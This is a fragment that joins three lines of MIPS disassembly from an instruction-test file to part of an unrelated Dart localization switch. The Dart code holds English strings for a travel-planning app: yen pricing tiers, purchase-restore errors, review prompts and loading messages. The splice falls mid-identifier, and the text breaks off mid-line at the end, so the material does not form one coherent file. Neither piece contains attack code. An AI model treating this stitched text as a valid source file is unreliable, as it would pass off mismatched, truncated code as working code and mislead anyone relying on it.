/home/ghj/Desktop/func/inst/n10_sltiu.S:63
bfc27890:	3c087d85 	lui	t0,0x7d85
bfc27894:	3508cdb0 	ori	t0,t0,0xcdb0
bfc27898:	24030000 	li	v1,0


pricingOptions.fiveDays.discount': return '-7.5%';
			case 'billDetailsPage.pricingOptions.fiveDays.price': return '1,387 yen';
			case 'billDetailsPage.pricingOptions.sevenDays.duration': return '7 days';
			case 'billDetailsPage.pricingOptions.sevenDays.discount': return '-10%';
			case 'billDetailsPage.pricingOptions.sevenDays.price': return '2,070 yen';
			case 'billDetailsPage.pricingOptions.unlimited.duration': return 'Unlimited';
			case 'billDetailsPage.pricingOptions.unlimited.discount': return '-20%';
			case 'billDetailsPage.pricingOptions.unlimited.price': return '25,800 yen';
			case 'billDetailsPage.restorePurchaseSection.button': return 'Restore Purchase';
			case 'billDetailsPage.restorePurchaseSection.textButton': return 'What is Restore Purchase?';
			case 'billDetailsPage.upgradeButton': return 'Upgrade to Premium';
			case 'billDetailsPage.snackBar.error.failedToPurchase': return 'Purchase failed. Please try again later.';
			case 'billDetailsPage.snackBar.error.PurchaseHistoryNotFound': return 'No purchase history found.';
			case 'billDetailsPage.snackBar.error.failedToRestorePurchase': return 'Failed to restore purchase. Please try again later.';
			case 'planDetailsPage.dateTime.createOn': return ({required Object date}) => 'Plan created on${date}';
			case 'planDetailsPage.dateTime.dateFormat': return 'MM/dd/yyyy';
			case 'planDetailsPage.item.viewOnMap': return 'View on Map';
			case 'planDetailsPage.item.reviewCount': return ({required Object count}) => '(${count} reviews)';
			case 'planDetailsPage.item.noReview': return 'No reviews';
			case 'planDetailsPage.item.yourReview': return 'Your Review';
			case 'planDetailsPage.item.tapToReview': return 'Tap to rate';
			case 'planDetailsPage.item.wordOfMouthCount': return ({required Object count}) => '(${count} word-of-mouth)';
			case 'planDetailsPage.item.createReview': return 'Post';
			case 'planDetailsPage.item.changeReview': return 'Edit Review';
			case 'planDetailsPage.item.reviewContentWithOptionalLabel': return 'Review (Optional)';
			case 'planDetailsPage.item.displayMoreText': return ' Show more';
			case 'planDetailsPage.item.displayLessText': return ' Close';
			case 'planDetailsPage.haveUsedPlan': return 'You have used this plan';
			case 'planDetailsPage.dialog.title': return 'Q. How can I prove that I have used this plan?';
			case 'planDetailsPage.dialog.description': return 'A. You have visited the locations included in the plan.\n We use location data to determine this, but the data will not be used for any other purposes.';
			case 'planDetailsPage.dialog.button': return 'Close';
			case 'planDetailsPage.tab.information': return 'Information';
			case 'planDetailsPage.tab.wordOfMouth': return 'Reviews';
			case 'planDetailsPage.snackBar.success.successToCreateReview': return 'Review completed';
			case 'planDetailsPage.snackBar.error.failedToUpdateBookmark': return 'Failed to update bookmark. Please try again later.';
			case 'planDetailsPage.snackBar.error.failedToCreateReview': return 'Failed to submit review. Please try again later.';
			case 'planDetailsPage.snackBar.error.modificationNotFound': return 'No changes found';
			case 'createLoadingPage.items.loadingText1': return 'Buddy\'s secretly crafting your travel plans... Shh!';
			case 'createLoadingPage.items.loadingText2': return 'Planning the best trip ever... Buddy\'s excited too!';
			case 'createLoadingPage.items.loadingText3': return 'Hold onto your passport, adventure loading...';
			case 'createLoadingPage.items.loadingText4': return 'Perfect time to daydream about your destination!';
			case 'createLoadingPage.items.loadingText